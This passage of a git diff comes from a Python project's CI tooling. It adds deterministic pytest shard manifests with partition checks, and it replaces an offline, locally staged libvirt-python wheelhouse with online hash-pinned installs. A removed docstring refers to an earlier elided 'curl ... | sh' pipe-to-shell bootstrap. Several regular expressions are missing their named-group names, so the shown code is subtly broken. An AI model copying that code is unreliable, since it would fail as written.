ShardManifestError("shard manifest shard_count must be an integer") + if not isinstance(manifest.shard_index, int) or isinstance(manifest.shard_index, bool): + raise ShardManifestError("shard manifest shard_index must be an integer") + if not isinstance(node_ids, list): + raise ShardManifestError("shard manifest node_ids must be a JSON array") + return manifest + + +def write_manifest(path: Path, manifest: ShardManifest) -> None: + """Persist ``manifest`` as deterministic JSON, atomically. + + Under xdist every worker's collection hook computes the identical complete + owned set and writes this manifest, so the write must be atomic: each writer + stages a per-process temp file and renames it into place, leaving the final + file always complete and identical regardless of concurrent writers. + """ + + payload = json.dumps(manifest.to_dict(), indent=2, sort_keys=True) + "\n" + tmp = path.with_name(f".{path.name}.{os.getpid()}.tmp") + tmp.write_text(payload, encoding="utf-8") + os.replace(tmp, path) + + +def read_manifest(path: Path) -> ShardManifest: + """Load a shard manifest, failing closed on malformed data.""" + + try: + data = json.loads(path.read_text(encoding="utf-8")) + except (OSError, UnicodeError, json.JSONDecodeError) as exc: + raise ShardManifestError(f"could not read shard manifest {path}: {exc}") from exc + return ShardManifest.from_dict(data) + + +def _owned_ids(manifest: ShardManifest, count: int, source_sha: str | None, seen: set[str]) -> set[str]: + """Validate one manifest against the partition invariants and return its ids.""" + + if manifest.algorithm_version != SHARD_ALGORITHM_VERSION: + raise ShardManifestError( + f"shard {manifest.shard_index} used algorithm {manifest.algorithm_version!r}, " + f"expected {SHARD_ALGORITHM_VERSION!r}" + ) + if manifest.shard_count != count: + raise ShardManifestError( + f"shard {manifest.shard_index} recorded shard_count {manifest.shard_count}, expected {count}" + ) + if source_sha is not None and manifest.source_sha != source_sha: + raise ShardManifestError( + f"shard {manifest.shard_index} recorded source {manifest.source_sha!r}, expected {source_sha!r}" + ) + ids = set(manifest.node_ids) + if len(ids) != len(manifest.node_ids): + raise ShardManifestError(f"shard {manifest.shard_index} recorded duplicate node ids") + overlap = seen & ids + if overlap: + raise ShardManifestError(f"shard {manifest.shard_index} overlaps earlier shards on {len(overlap)} node ids") + misowned = [nodeid for nodeid in ids if shard_for_nodeid(nodeid, count) != manifest.shard_index] + if misowned: + raise ShardManifestError(f"shard {manifest.shard_index} claims {len(misowned)} node ids it does not own") + return ids + + +def verify_shard_partition( + manifests: Sequence[ShardManifest], + canonical_nodeids: Sequence[str], + *, + shard_count: int, + source_sha: str | None = None, +) -> None: + """Prove ``manifests`` form a complete, disjoint partition of the canonical suite. + + Raises :class:`ShardManifestError` unless every index in ``range(shard_count)`` + is present exactly once, every manifest agrees on the algorithm version, shard + count, and (when given) the source SHA, no node id appears in two shards, each + node id is owned by the shard that recorded it, and the union of the shards is + exactly the freshly collected canonical suite. + """ + + count = validate_shard_count(shard_count) + + canonical = list(canonical_nodeids) + canonical_set = set(canonical) + if len(canonical_set) != len(canonical): + raise ShardManifestError("canonical collection contains duplicate node ids") + if not canonical_set: + raise ShardManifestError("canonical collection is empty") + + indices = sorted(manifest.shard_index for manifest in manifests) + if indices != list(range(count)): + raise ShardManifestError(f"shard indices {indices} are not exactly the complete set 0..{count - 1}") + + seen: set[str] = set() + for manifest in manifests: + seen |= _owned_ids(manifest, count, source_sha, seen) + + if seen != canonical_set: + missing = sorted(canonical_set - seen) + extra = sorted(seen - canonical_set) + raise ShardManifestError( + f"shard union does not equal the canonical suite: {len(missing)} missing, {len(extra)} unexpected" + ) diff --git a/tools/pytest_shard_plugin.py b/tools/pytest_shard_plugin.py new file mode 100644 index 000000000..58c4db7f0 --- /dev/null +++ b/tools/pytest_shard_plugin.py @@ -0,0 +1,75 @@ +"""Pytest plugin that restricts collection to one deterministic CI shard. + +Loaded only by the ``verify-shard`` nox session via ``-p tools.pytest_shard_plugin``. +It is inert unless both ``--shard-count`` and ``--shard-index`` are supplied, so a +normal local ``pytest`` / ``nox -s verify`` run is unaffected. The partition +itself lives in :mod:`tools.pytest_shard`; this module is the thin pytest wiring. +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest + +from tools.pytest_shard import ( + SHARD_ALGORITHM_VERSION, + ShardManifest, + shard_for_nodeid, + validate_shard_index, + write_manifest, +) + + +def pytest_addoption(parser: pytest.Parser) -> None: + group = parser.getgroup("raes-shard", "deterministic CI test sharding") + group.addoption("--shard-count", action="store", type=int, default=None, dest="raes_shard_count") + group.addoption("--shard-index", action="store", type=int, default=None, dest="raes_shard_index") + group.addoption("--shard-manifest", action="store", default=None, dest="raes_shard_manifest") + group.addoption("--shard-source-sha", action="store", default="", dest="raes_shard_source_sha") + group.addoption("--shard-suite-expression", action="store", default="", dest="raes_shard_suite_expression") + + +def _record_manifest(config: pytest.Config, index: int, count: int, owned: list[pytest.Item]) -> None: + # Record ownership. This hook runs during collection, which under xdist happens + # in each worker (all of which carry ``workerinput``) over the FULL suite before + # execution is distributed, so every context computes the identical complete + # owned set. Write it atomically rather than guarding on ``workerinput`` — + # guarding on the controller would suppress the write entirely under xdist and + # leave the required manifest absent. + manifest_path = config.getoption("raes_shard_manifest") + if not manifest_path: + return + manifest = ShardManifest( + algorithm_version=SHARD_ALGORITHM_VERSION, + source_sha=str(config.getoption("raes_shard_source_sha") or ""), + suite_expression=str(config.getoption("raes_shard_suite_expression") or ""), + shard_count=count, + shard_index=index, + node_ids=tuple(item.nodeid for item in owned), + ) + write_manifest(Path(manifest_path), manifest) + + +@pytest.hookimpl(trylast=True) +def pytest_collection_modifyitems(config: pytest.Config, items: list[pytest.Item]) -> None: + # trylast so the incumbent marker expression (`-m 'not fuzz and not + # integration and not docker'`) has already deselected its items: the shard + # partitions the default suite, and the manifest must match the reducer's + # fresh default-suite collection exactly. + shard_count = config.getoption("raes_shard_count") + shard_index = config.getoption("raes_shard_index") + if shard_count is None and shard_index is None: + return + if shard_count is None or shard_index is None: + raise pytest.UsageError("--shard-count and --shard-index must be supplied together") + index, count = validate_shard_index(shard_index, shard_count) + + assignments = [(item, shard_for_nodeid(item.nodeid, count) == index) for item in items] + owned = [item for item, is_owned in assignments if is_owned] + deselected = [item for item, is_owned in assignments if not is_owned] + if deselected: + config.hook.pytest_deselected(items=deselected) + items[:] = owned + + _record_manifest(config, index, count, owned) diff --git a/tools/python_closure.py b/tools/python_closure.py index 24e5294a8..ae8594c07 100644 --- a/tools/python_closure.py +++ b/tools/python_closure.py @@ -23,7 +23,6 @@ candidate_digest, operator_path, require_empty_destination, - verify_bootstrap_wheelhouse, verify_wheelhouse, ) @@ -150,7 +149,7 @@ def _smoke( environment_dir, wheelhouse, ) - context_id = "python-offline" if offline else "python-public" + context_id = "python-public" if offline: if wheelhouse is None: raise ValueError("offline smoke requires a verified wheelhouse") @@ -163,6 +162,8 @@ def _smoke( home=root / "home", cache_dir=root / "cache", ) + if offline: + environment["UV_OFFLINE"] = "1" _run( [ "uv", @@ -263,7 +264,6 @@ def parse_args(argv: Iterable[str] | None = None) -> argparse.Namespace: parser = argparse.ArgumentParser(description=__doc__) subparsers = parser.add_subparsers(dest="operation", required=True) for operation in ( - "bootstrap-wheelhouse-verify", "build", "manifest-show", "materialize", @@ -283,16 +283,10 @@ def parse_args(argv: Iterable[str] | None = None) -> argparse.Namespace: child.add_argument("--offline", action="store_true") elif operation in {"materialize", "wheelhouse-verify"}: child.add_argument("--wheelhouse", type=Path, required=True) - elif operation == "bootstrap-wheelhouse-verify": - child.add_argument("--wheelhouse", type=Path, required=True) - child.add_argument("--manifest-snapshot", type=Path, required=True) return parser.parse_args(list(argv) if argv is not None else None) def _dispatch(args: argparse.Namespace) -> None: - if args.operation == "bootstrap-wheelhouse-verify": - verify_bootstrap_wheelhouse(REPO_ROOT, args.profile, args.wheelhouse, args.manifest_snapshot) - return profile = load_python_closure_profile(REPO_ROOT, args.profile) if args.operation == "build": _build(profile, args.source, args.out_dir, context_id=args.context) diff --git a/tools/python_closure_profiles.py b/tools/python_closure_profiles.py index d4bdc47b1..310f43fd7 100644 --- a/tools/python_closure_profiles.py +++ b/tools/python_closure_profiles.py @@ -3,7 +3,6 @@ from __future__ import annotations -import json import os import stat import sys @@ -11,13 +10,21 @@ from dataclasses import dataclass from pathlib import Path from typing import Any -from urllib.parse import urlsplit + +from tools.tooling_artifact_policy_common import ( + is_regular_repo_file, + read_tooling_document, + validate_tooling_record, +) +from tools.tooling_artifact_policy_python_profiles import ( + _closure_binding_failures, + _closure_projection_failures, + _context_failures, +) REPO_ROOT = Path(__file__).resolve().parents[1] PROFILES_PATH = "implementations/tooling/profiles/development-profiles.json" TOOL_PROJECT = REPO_ROOT / "implementations" / "tooling" / "python" -_MAX_MANIFEST_BYTES = 2 * 1024 * 1024 -_CLOSURE_MODULE_PATHS = ("tools/python_closure.py", "tools/python_closure_profiles.py") _ALLOWED_TOOLS = frozenset( { "check-added-large-files", @@ -59,6 +66,8 @@ class PythonClosureProfile: def _repo_file(repo_root: Path, relative_path: object) -> Path: if not isinstance(relative_path, str): raise ValueError("Python closure authority path must be a string") + if not is_regular_repo_file(repo_root, relative_path): + raise ValueError("Python closure authority must be a regular repository file") root = repo_root.resolve() path = root / relative_path try: @@ -78,36 +87,10 @@ def _repo_file(repo_root: Path, relative_path: object) -> Path: def _load_bounded_json_object(repo_root: Path, relative_path: object) -> dict[str, Any]: path = _repo_file(repo_root, relative_path) - try: - if path.stat().st_size > _MAX_MANIFEST_BYTES: - raise ValueError("Python closure authority exceeds the size limit") - value = json.loads(path.read_text(encoding="utf-8")) - except (OSError, UnicodeError, json.JSONDecodeError) as exc: - raise ValueError("Python closure authority is not valid JSON") from exc - if not isinstance(value, dict): - raise ValueError("Python closure authority must be a JSON object") - return value + return read_tooling_document(repo_root, str(path.relative_to(repo_root.resolve()))) -def load_python_closure_profile(repo_root: Path, profile_id: str) -> PythonClosureProfile: - """Load one exact closed profile after the canonical static policy passes.""" - - from tools.check_tooling_artifact_policy import ( - _tracked_paths, - evaluate_tooling_artifact_policy, - ) - - tracked_paths = _tracked_paths(repo_root) - tracked_paths.extend( - module_path - for module_path in _CLOSURE_MODULE_PATHS - if module_path not in tracked_paths and (repo_root / module_path).is_file() - ) - failures = evaluate_tooling_artifact_policy(repo_root, tracked_paths=tracked_paths) - if failures: - rendered = "\n".join(item.render() for item in failures[:20]) - raise ValueError(f"development artifact policy is invalid:\n{rendered}") - document = _load_bounded_json_object(repo_root, PROFILES_PATH) +def _selected_closure_profile(repo_root: Path, document: dict[str, Any], profile_id: str) -> Mapping[str, Any]: matches = [ value for value in document.get("python_closure_profiles", []) @@ -116,12 +99,57 @@ def load_python_closure_profile(repo_root: Path, profile_id: str) -> PythonClosu if len(matches) != 1: raise ValueError("Python closure profile must resolve to exactly one reviewed entry") value = matches[0] + validate_tooling_record(repo_root, value, PROFILES_PATH, definition="pythonClosureProfile") + return value + + +def _selected_closure_contexts( + repo_root: Path, document: dict[str, Any], context_ids: list[str] +) -> dict[str, Mapping[str, Any]]: + contexts = {} + for context_id in context_ids: + matches = [ + context + for context in document.get("python_package_contexts", []) + if isinstance(context, Mapping) and context.get("context_id") == context_id + ] + if len(matches) != 1: + raise ValueError("Python acquisition context must resolve to exactly one entry") + validate_tooling_record(repo_root, matches[0], PROFILES_PATH, definition="pythonPackageContext") + contexts[context_id] = matches[0] + return contexts + + +def load_python_closure_profile(repo_root: Path, profile_id: str) -> PythonClosureProfile: + """Validate one Python environment without inspecting unrelated repository policy.""" + document = _load_bounded_json_object(repo_root, PROFILES_PATH) + value = _selected_closure_profile(repo_root, document, profile_id) python = value["python"] - contexts = { - str(context["context_id"]): context - for context in document.get("python_package_contexts", []) - if isinstance(context, Mapping) and isinstance(context.get("context_id"), str) - } + contexts = _selected_closure_contexts(repo_root, document, value["acquisition_context_ids"]) + project_scoped = bool(set(value["purposes"]) & {"wheel-smoke", "sdist-smoke", "compatibility", "docs"}) + failures = _closure_binding_failures( + value, + host_ids={ + str(host.get("host_profile_id")) for host in document.get("host_profiles", []) if isinstance(host, Mapping) + }, + context_ids=list(contexts), + project_scoped=project_scoped, + ) + failures.extend(_context_failures(list(contexts.values()))) + # Resolve all authority paths before reading a projection or lock. + for key in ( + "project_lock", + "tool_lock", + "build_constraints", + "smoke_requirements", + "wheelhouse_manifest", + ): + _repo_file(repo_root, value[key]) + failures.extend( + _closure_projection_failures(repo_root, value, profile_id=profile_id, project_scoped=project_scoped) + ) + if failures: + raise ValueError("Python closure binding or projection is invalid") return PythonClosureProfile( profile_id=profile_id, host_profile_id=str(value["host_profile_id"]), @@ -149,34 +177,6 @@ def load_wheelhouse_manifest(profile: PythonClosureProfile) -> dict[str, Any]: ) -def _reviewed_mirror_url(source: Mapping[str, str]) -> str: - """Require a credential-free HTTPS locator before a mirror-only acquisition.""" - - mirror_url = source.get("RAES_PYTHON_MIRROR_URL", "") - parsed = urlsplit(mirror_url) - if ( - parsed.scheme != "https" - or not parsed.netloc - or parsed.username - or parsed.password - or parsed.query - or parsed.fragment - ): - raise ValueError("mirror-only context requires a credential-free HTTPS mirror locator") - return mirror_url - - -def _acquisition_mode_environment(mode: object, source: Mapping[str, str]) -> dict[str, str]: - """Derive index and offline policy from one reviewed acquisition mode.""" - - if mode == "offline": - return {"UV_OFFLINE": "1"} - if mode not in {"public", "mirror-only"}: - raise ValueError("unsupported Python acquisition context") - index = "https://pypi.org/simple" if mode == "public" else _reviewed_mirror_url(source) - return {"UV_DEFAULT_INDEX": index, "UV_INDEX_STRATEGY": "first-index"} - - def closure_environment( profile: PythonClosureProfile, *, @@ -198,7 +198,9 @@ def closure_environment( "UV_KEYRING_PROVIDER": "disabled", "UV_PYTHON_DOWNLOADS": "never", } - environment.update(_acquisition_mode_environment(context.get("mode"), source)) + if context.get("mode") != "public": + raise ValueError("unsupported Python acquisition context") + environment.update(UV_DEFAULT_INDEX="https://pypi.org/simple", UV_INDEX_STRATEGY="first-index") return environment diff --git a/tools/python_closure_wheelhouse.py b/tools/python_closure_wheelhouse.py index 7db8354c3..af83607a6 100644 --- a/tools/python_closure_wheelhouse.py +++ b/tools/python_closure_wheelhouse.py @@ -4,14 +4,11 @@ from __future__ import annotations import hashlib -import json import stat from collections.abc import Mapping from pathlib import Path from typing import Any -from tools.python_closure_profiles import PROFILES_PATH, _repo_file - def operator_path(path: Path, *, purpose: str) -> Path: """Normalize and admit one operator-supplied path before any file access. @@ -114,70 +111,10 @@ def verify_wheelhouse(wheelhouse: Path, manifest: Mapping[str, Any]) -> None: _require_wheelhouse_artifact(filename, observed[filename], artifact) -def _reviewed_bootstrap_profile(repo_root: Path, profile_id: str) -> Mapping[str, Any]: - profiles_path = _repo_file(repo_root, PROFILES_PATH) - profiles = json.loads(profiles_path.read_text(encoding="utf-8")) - matches = [ - value - for value in profiles.get("python_closure_profiles", []) - if isinstance(value, Mapping) and value.get("python_closure_profile_id") == profile_id - ] - if len(matches) != 1: - raise ValueError("bootstrap Python closure profile must resolve exactly once") - return matches[0] - - -def admitted_kit_paths(wheelhouse: Path, manifest_snapshot: Path) -> tuple[Path, Path]: - """Admit a bootstrap kit's wheelhouse and manifest from inside one shared root. - - A payload kit is one directory holding both the wheelhouse and its manifest - snapshot, so each canonical path must resolve directly inside the same root. - Establishing that before either file is opened keeps an operator-supplied - argument from reaching a filesystem read on its own. - """ - - wheelhouse = operator_path(wheelhouse, purpose="bootstrap wheelhouse") - manifest_snapshot = operator_path(manifest_snapshot, purpose="wheelhouse manifest snapshot") - kit_root = wheelhouse.parent - if manifest_snapshot.parent != kit_root: - raise ValueError("bootstrap wheelhouse and manifest snapshot must share one kit root") - return wheelhouse, manifest_snapshot - - -def verify_bootstrap_wheelhouse( - repo_root: Path, - profile_id: str, - wheelhouse: Path, - manifest_snapshot: Path, -) -> None: - """Verify a raw kit before installing the full frozen policy environment.""" - - wheelhouse, manifest_snapshot = admitted_kit_paths(wheelhouse, manifest_snapshot) - reviewed = _reviewed_bootstrap_profile(repo_root, profile_id) - authority = _repo_file(repo_root, reviewed.get("wheelhouse_manifest")) - if not manifest_snapshot.is_file(): - raise ValueError("wheelhouse manifest snapshot must be a regular file") - snapshot = manifest_snapshot.read_bytes() - if snapshot != authority.read_bytes(): - raise ValueError("wheelhouse manifest snapshot does not match the reviewed authority") - manifest = json.loads(snapshot) - lock_path = _repo_file(repo_root, manifest.get("lock_path")) - requirements_path = _repo_file(repo_root, reviewed.get("smoke_requirements")) - if manifest.get("python_closure_profile_id") != profile_id: - raise ValueError("wheelhouse manifest profile identity is wrong") - if manifest.get("lock_sha256") != hashlib.sha256(lock_path.read_bytes()).hexdigest(): - raise ValueError("wheelhouse manifest lock identity is stale") - if manifest.get("requirements_sha256") != hashlib.sha256(requirements_path.read_bytes()).hexdigest(): - raise ValueError("wheelhouse manifest requirements identity is stale") - verify_wheelhouse(wheelhouse, manifest) - - __all__ = ( - "admitted_kit_paths", "candidate_digest", "operator_path", "require_empty_destination", "sha256_file", - "verify_bootstrap_wheelhouse", "verify_wheelhouse", ) diff --git a/tools/real-daemon/README.md b/tools/real-daemon/README.md index 1f75cd9d7..d19f6c889 100644 --- a/tools/real-daemon/README.md +++ b/tools/real-daemon/README.md @@ -39,28 +39,23 @@ SSH_INGRESS_CIDR=203.0.113.4/32 AWS_PROFILE=aws-dev AWS_REGION=us-east-1 \ `SSH_INGRESS_CIDR` is required: declare the reviewed CIDR allowed to reach the instance on tcp/22 (there is no external checkip auto-detect). The reviewed base -image and native-package snapshot are pinned in `tools/tool_versions.py` -(`LIVE_RUNNER_UBUNTU_IMAGE_NAME`, `LIVE_RUNNER_NATIVE_SNAPSHOT`); the script -resolves them for your region rather than floating a "newest" AMI. It first -stages the admitted input closure locally through the tooling policy gate -(`tools/real-daemon/live_runner_inputs.py`): the pinned CirrOS guest disk -(`cirros-guest-disk` in `implementations/tooling/artifacts.lock.json`), the -locked `uv` client, the declared `cpython-3.14` interpreter, and the -`libvirt-python` build wheelhouse (sdist + pinned setuptools/wheel) are -downloaded once and verified against their reviewed digests. It then resolves the -reviewed Canonical image by exact name + owner, provisions a `c5.2xlarge` -instance whose APT is pinned to the immutable `snapshot.ubuntu.com` archive, pins -the instance host key from the authenticated AWS console output -(`StrictHostKeyChecking=yes`), transfers only Git-tracked source, **pre-seeds and -re-verifies** the inputs, installs `uv` and the validated `cpython-3.14` -interpreter from the pre-seeded payloads (no pipe-to-shell), runs -`uv sync --frozen` on that interpreter, installs `libvirt-python` **offline** from -the wheelhouse (`--offline --no-index --find-links --require-hashes`), runs the -smoke test against a scoped per-run directory under the libvirt images tree, -prints the `SUMMARY: N/N passed` line, and tears down the instance + security -group + key pair on exit. The host keeps its default security driver — no -`security_driver = "none"` and no root QEMU user/group. Pass `--keep` to leave -the instance up for manual inspection (remember to terminate it later). +image owner/name are pinned in `tools/tool_versions.py`; the scripts resolve +the exact Canonical name for the region, never the newest AMI. The small local +handoff verifies uv, CPython and (for the smoke) the CirrOS guest disk against +reviewed hashes. It is not a complete disconnected environment. + +The instance uses its signed Ubuntu repositories for native prerequisites. +Its SSH host key is pinned from authenticated AWS console output with +`StrictHostKeyChecking=yes`; only Git-tracked source is transferred. +Transferred bootstrap and guest bytes are reverified, the project sync is +frozen, and libvirt-python installs online with exact hash-pinned requirements +and build constraints. Native packages are not claimed byte-reproducible. + +Default AppArmor/QEMU security, scoped per-run directories, visible failures +and instance/security-group/key-pair cleanup remain. Pass `--keep` only when +you intend to retain the instance for inspection and terminate it afterward. +These scripts are opt-in and incur cloud resources; repository verification +does not run them automatically. Exit code is non-zero if any check fails; a setup timeout is a failure, not a silently ignored step. diff --git a/tools/real-daemon/live-runner-python-closure.json b/tools/real-daemon/live-runner-python-closure.json deleted file mode 100644 index 688cbf6b3..000000000 --- a/tools/real-daemon/live-runner-python-closure.json +++ /dev/null @@ -1,30 +0,0 @@ -{ - "schema": "raes.live-runner-python-closure/v1", - "description": "Reviewed offline build closure for the opt-in live-runner libvirt-python install (issue #1222). Every file is fetched and verified by tools/real-daemon/live_runner_inputs.py and installed offline; each sha256 MUST equal the corresponding pin in live-runner-python.txt (the pip --require-hashes install authority). libvirt-python is sdist-only, so its setuptools/wheel build backend is admitted here too.", - "files": [ - { - "name": "libvirt-python", - "version": "12.7.0", - "filename": "libvirt_python-12.7.0.tar.gz", - "url": "https://files.pythonhosted.org/packages/00/19/729ba9584cac034ecaa8a42ebb6412007382dda13df635ac61adecd7e949/libvirt_python-12.7.0.tar.gz", - "sha256": "03a6800a3cc7657267e2516f579ce95c93d6351182caf03f92a49556685bf8bf", - "size": 256560 - }, - { - "name": "setuptools", - "version": "84.0.0", - "filename": "setuptools-84.0.0-py3-none-any.whl", - "url": "https://files.pythonhosted.org/packages/95/9c/c510029fc6ef33a6275cd2c5d3cecd6613dfd6aa401d57c54f1c18852ccf/setuptools-84.0.0-py3-none-any.whl", - "sha256": "51a52592b3b99e102b609654876bd65f19f999935166d1352678931132b0c670", - "size": 818216 - }, - { - "name": "wheel", - "version": "0.48.0", - "filename": "wheel-0.48.0-py3-none-any.whl", - "url": "https://files.pythonhosted.org/packages/2e/29/69cfbb602cd91690c55d38ba9fe53e6a7e76a6fa647bf38f19c138d25449/wheel-0.48.0-py3-none-any.whl", - "sha256": "3217dcc807155e45db462d7ef2431f5ddda0d7273b700d05a67b271ceb1287ab", - "size": 33320 - } - ] -} diff --git a/tools/real-daemon/live-runner-python.txt b/tools/real-daemon/live-runner-python.txt index 535a06885..5ca15a1f5 100644 --- a/tools/real-daemon/live-runner-python.txt +++ b/tools/real-daemon/live-runner-python.txt @@ -7,14 +7,9 @@ # # libvirt-python is sdist-only (no wheels published), so its build closure is # admitted here too: the setuptools/wheel build backend is pinned by exact -# version and wheel hash. tools/real-daemon/live_runner_inputs.py stages every -# file below (sdist + build wheels) through the maintained client, verifies each -# against these hashes, and the runners install with -# `--offline --no-index --find-links --require-hashes` so nothing -# is resolved or built from a live index during certification. The native -# compiler/headers/pkg-config prerequisites are declared on the -# live-runner-ubuntu-24.04-x86_64 host profile in -# implementations/tooling/profiles/development-profiles.json. +# version and hash. Both AWS scripts use these requirements and build constraints +# with --require-hashes against the public index. Native compiler/headers remain +# opt-in host prerequisites. No complete wheelhouse is staged locally. libvirt-python==12.7.0 --hash=sha256:03a6800a3cc7657267e2516f579ce95c93d6351182caf03f92a49556685bf8bf setuptools==84.0.0 --hash=sha256:51a52592b3b99e102b609654876bd65f19f999935166d1352678931132b0c670 wheel==0.48.0 --hash=sha256:3217dcc807155e45db462d7ef2431f5ddda0d7273b700d05a67b271ceb1287ab diff --git a/tools/real-daemon/live_runner_inputs.py b/tools/real-daemon/live_runner_inputs.py index 0649a6164..c00a50f11 100644 --- a/tools/real-daemon/live_runner_inputs.py +++ b/tools/real-daemon/live_runner_inputs.py @@ -1,30 +1,9 @@ #!/usr/bin/env python3 -"""Governed acquisition of the live-runner input closure. - -The AWS smoke and guest-certification scripts under ``tools/real-daemon/`` used -to acquire their inputs ad hoc on the remote instance: an unpinned CirrOS -download whose failure was swallowed (``curl ... || true``), a pipe-to-shell uv -bootstrap (``curl ... | sh``) and an unfrozen ``libvirt-python`` install. Issue -#1222 replaces that with a single admitted closure selected/verified *locally* -against the reviewed lock and pre-seeded to the instance (see -``docs/decisions/package-artifacts/`` and the issue #1222 preflight note). - -This module owns the CirrOS guest-disk selection. It is the sole runtime -lock-selection consumer of ``cirros-guest-disk`` declared in -``implementations/tooling/selector-bindings.json``; the selection call below -uses the reviewed literal dimensions the policy gate discovers. ``uv`` and -CPython are bootstrap-class payloads acquired through -``tools/bootstrap_profile.py`` (their kit verification already binds the lock -digests). ``libvirt-python`` and its build backend are pinned by exact version -and hash in ``tools/real-daemon/live-runner-python.txt`` (Python-closure -authority, not the generic artifact lock); every file in that closure is fetched -and verified here so the runners can install it fully offline. - -The command produces a private staging directory holding the verified inputs and -a ``live-runner-inputs-manifest.json`` the shell scripts read to pre-seed and to -re-verify the transferred bytes on the instance. No AWS API, custom transport or -acquisition retry/redirect/TLS/framing code is introduced; acquisition reuses the -maintained-curl client. +"""Verify the small live-runner bootstrap and guest-disk handoff. + +The connected AWS smokes retain exact VM owner/name and archive hashes, while +the remote host installs Python dependencies online from hash-pinned native +requirements. This helper does not stage a complete disconnected environment. """ from __future__ import annotations @@ -42,7 +21,6 @@ from tools.tool_versions import ( CIRROS_GUEST_DISK_VERSION, LIVE_RUNNER_CPYTHON_ARTIFACT, - LIVE_RUNNER_NATIVE_SNAPSHOT, LIVE_RUNNER_UBUNTU_IMAGE_NAME, LIVE_RUNNER_UBUNTU_IMAGE_OWNER, ) @@ -61,12 +39,6 @@ CIRROS_STAGED_NAME = "cirros.img" LIBVIRT_PYTHON_REQUIREMENTS = REPO_ROOT / "tools" / "real-daemon" / "live-runner-python.txt" -# Reviewed manifest (data, not an inline tuple) for the offline libvirt-python -# build closure. Every sha256 here MUST equal the corresponding pin in -# live-runner-python.txt; test_issue_1222 asserts the equality so they cannot -# drift. -PYTHON_CLOSURE_MANIFEST = REPO_ROOT / "tools" / "real-daemon" / "live-runner-python-closure.json" -WHEELHOUSE_DIR = "wheelhouse" MANIFEST_NAME = "live-runner-inputs-manifest.json" @@ -79,38 +51,6 @@ class _RawPin: size: int -@dataclass(frozen=True) -class _ClosureFile: - name: str - version: str - filename: str - url: str - sha256: str - size: int - - -def _load_python_closure() -> tuple[_ClosureFile, ...]: - """Load the reviewed offline build-closure manifest, fail-closed.""" - - document = json.loads(PYTHON_CLOSURE_MANIFEST.read_text(encoding="utf-8")) - files = document.get("files") - if not isinstance(files, list) or not files: - raise RuntimeError("live-runner python closure manifest must list at least one file") - closure: list[_ClosureFile] = [] - for entry in files: - closure.append( - _ClosureFile( - name=str(entry["name"]), - version=str(entry["version"]), - filename=str(entry["filename"]), - url=str(entry["url"]), - sha256=str(entry["sha256"]), - size=int(entry["size"]), - ) - ) - return tuple(closure) - - def _sha256_file(path: Path) -> str: digest = hashlib.sha256() with path.open("rb") as handle: @@ -172,26 +112,12 @@ def acquire_cirros_guest_disk( expected=_RawPin(path=raw.path, sha256=raw.sha256, size=raw.size), local_input=local_input, ) - return _admit_bytes(data, expected_sha256=installed.sha256, expected_size=installed.size, target=target) - - -def stage_python_closure(stage_dir: Path) -> dict[str, object]: - """Fetch and verify the offline libvirt-python build closure into a wheelhouse.""" - - wheelhouse = stage_dir / WHEELHOUSE_DIR - wheelhouse.mkdir(mode=0o700, parents=True, exist_ok=True) - staged: list[dict[str, object]] = [] - for entry in _load_python_closure(): - data = acquire_locked_bytes( - artifact_id=f"live-runner-python:{entry.name}", - source_url=entry.url, - expected=_RawPin(path=entry.filename, sha256=entry.sha256, size=entry.size), - ) - _admit_bytes(data, expected_sha256=entry.sha256, expected_size=entry.size, target=wheelhouse / entry.filename) - staged.append( - {"name": entry.name, "version": entry.version, "filename": entry.filename, "sha256": entry.sha256} - ) - return {"dir": WHEELHOUSE_DIR, "files": staged} + return _admit_bytes( + data, + expected_sha256=installed.sha256, + expected_size=installed.size, + target=target, + ) def _libvirt_python_pin() -> dict[str, str]: @@ -201,24 +127,20 @@ def _libvirt_python_pin() -> dict[str, str]: stripped = line.strip() if not stripped.startswith("libvirt-python=="): continue - match = re.match(r"^libvirt-python==(?P\S+)\s+--hash=sha256:(?P[0-9a-f]{64})", stripped) + match = re.match( + r"^libvirt-python==(?P\S+)\s+--hash=sha256:(?P[0-9a-f]{64})", + stripped, + ) if match is None: break - return {"name": "libvirt-python", "version": match.group("version"), "sha256": match.group("sha")} + return { + "name": "libvirt-python", + "version": match.group("version"), + "sha256": match.group("sha"), + } raise RuntimeError("live-runner libvirt-python pin must fix an exact version and sha256 hash") -def requirements_hashes() -> dict[str, str]: - """Return the name->sha256 map declared in the pip requirements file.""" - - hashes: dict[str, str] = {} - for line in LIBVIRT_PYTHON_REQUIREMENTS.read_text(encoding="utf-8").splitlines(): - match = re.match(r"^(?P[A-Za-z0-9._-]+)==\S+\s+--hash=sha256:(?P[0-9a-f]{64})", line.strip()) - if match is not None: - hashes[match.group("name").lower()] = match.group("sha") - return hashes - - def stage_live_runner_inputs( stage_dir: Path, *, @@ -229,14 +151,14 @@ def stage_live_runner_inputs( """Stage the verified live-runner closure and write its manifest. Returns the manifest path. The staging directory must live under the - repository (the offline-kit fetch admits payloads through the fixed + repository (the bootstrap payload fetch admits payloads through the fixed repository cache chain) and holds the verified linux-x86_64 uv payload, the - offline libvirt-python build wheelhouse, the CirrOS guest disk (smoke only), + CPython interpreter, the CirrOS guest disk (smoke only), and the manifest the shell scripts read to pre-seed the instance and re-verify the transferred bytes. """ - from tools.bootstrap_profile import fetch_offline_kit_payloads + from tools.bootstrap_profile import fetch_bootstrap_payloads # Canonicalize then validate the (untrusted, CLI-supplied) staging path # before any filesystem action, to prevent path injection: resolve symlinks @@ -257,22 +179,19 @@ def stage_live_runner_inputs( # execution-bound rather than relying on the host's ambient python3. payloads = { str(entry["artifact_id"]): entry - for entry in fetch_offline_kit_payloads( + for entry in fetch_bootstrap_payloads( LIVE_RUNNER_HOST_PROFILE_ID, stage_dir, [LIVE_RUNNER_CPYTHON_ARTIFACT, "uv"] ) } uv_payload = payloads["uv"] cpython_payload = payloads[LIVE_RUNNER_CPYTHON_ARTIFACT] - closure = stage_python_closure(stage_dir) - manifest: dict[str, object] = { "schema": "raes.live-runner-inputs/v1", "base_image": { "owner": LIVE_RUNNER_UBUNTU_IMAGE_OWNER, "name": LIVE_RUNNER_UBUNTU_IMAGE_NAME, }, - "native_repository_snapshot": LIVE_RUNNER_NATIVE_SNAPSHOT, "cpython": { "artifact_id": LIVE_RUNNER_CPYTHON_ARTIFACT, "platform_id": GUEST_PLATFORM_ID, @@ -288,7 +207,6 @@ def stage_live_runner_inputs( "size": int(uv_payload["size"]), }, "libvirt_python": _libvirt_python_pin(), - "python_closure": closure, "requirements_file": 